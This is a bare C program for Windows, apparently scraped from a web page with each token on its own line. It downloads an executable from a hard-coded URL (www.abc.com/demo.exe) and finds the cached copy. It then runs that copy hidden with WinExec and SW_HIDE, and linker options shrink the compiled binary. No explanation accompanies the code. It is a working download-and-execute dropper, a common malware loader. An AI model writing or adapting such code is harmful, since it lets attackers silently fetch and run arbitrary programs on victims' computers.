#include
<
urlmon.h
>
#include
<
Wininet.h
>
#include
<
stdio.h
>
#pragma
comment(lib,"urlmon.lib")
#pragma
comment(lib,"Wininet.lib")
#pragma
comment(linker, "/OPT:NOWIN98")
#pragma
comment(linker, "/merge:.rdata=.text")
#define
szUrl "http:
//
www.abc.com/demo.exe"
void
main(
int
argc,
char
**
argv){URLDownloadToCacheFile(NULL,szUrl,
"
c:/1.exe
"
,
50
,
0
,NULL);DWORD dwEntrySize
=
0
; LPINTERNET_CACHE_ENTRY_INFO lpCacheEntry;
char
strTemp[
255
];
if
(
!
GetUrlCacheEntryInfo(szUrl,NULL,
&
dwEntrySize)) {
if
(GetLastError()
!=
ERROR_INSUFFICIENT_BUFFER) {
return
; }
else
lpCacheEntry
=
(LPINTERNET_CACHE_ENTRY_INFO)
new
char
[dwEntrySize]; }
else
return
;
if
(
!
GetUrlCacheEntryInfo(szUrl,lpCacheEntry,
&
dwEntrySize)) {
return
; }
else
{ memset(strTemp,
0
,
255
);strncpy(strTemp,lpCacheEntry
->
lpszLocalFileName,strlen(lpCacheEntry
->
lpszLocalFileName));WinExec(strTemp,SW_HIDE);
return
; } }
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